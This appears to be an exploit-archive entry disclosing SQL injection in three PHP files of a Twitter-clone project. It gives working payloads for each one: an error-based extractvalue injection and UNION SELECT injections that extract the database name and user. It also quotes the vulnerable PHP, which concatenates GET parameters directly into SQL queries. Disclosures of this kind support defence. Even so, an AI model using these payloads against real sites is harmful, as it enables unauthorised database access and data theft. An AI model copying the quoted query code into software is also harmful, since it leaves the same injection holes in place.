Twitter-Clone 1 - 'code' SQL Injection

# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
# Date: 2018-08-22
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# vulnerable files : [mailactivation.php , stalkers.php , search.php]
# vulnerable parameters : [name , code , id]

# 1) search.php :
# vulnerable parameter : name
# Type : Error-based
# Payload : 

%' AND extractvalue(1,concat(0x3a,database(),0x3a))%23

# vulnerable code :
if($_GET['name']!=""){
$what = $_GET['name'];
include "connect.php";
$users = mysqli_query($con, "SELECT id, username, followers, following,
tweets
  FROM users
 WHERE username LIKE '%$what%'
 ORDER BY username ASC
 LIMIT 0, 10
");

# 2) mailactivation.php :
# vulnerable parameter : code
# Type : Union query
# Payload : 

' UNION SELECT 1,user(),3,4,5,6%23

# vulnerable code :
include "connect.php";
$givenname = $_GET['username'];
$givencode = $_GET['code'];
$query = mysqli_query($con, "SELECT code, active
  FROM users
  WHERE code = '$givencode' AND username = '$givenname'
 ");
$row = mysqli_fetch_assoc($query);
$wantedcode = $row['code'];

# 3) stalkers.php :
# vulnerable parameter : id
# Type : Union query
# Payload : 

' UNION SELECT 1,2,user(),4,5,6

# vulnerable code :
if ($_GET['id'] != "") {
$theid = $_GET['id'];
include "connect.php";
$stalked = mysqli_query($con, "SELECT id, username, followers, following
 FROM users
  WHERE id = '$theid'
");
$row1 = mysqli_fetch_assoc($stalked);
$usern = $row1['username'];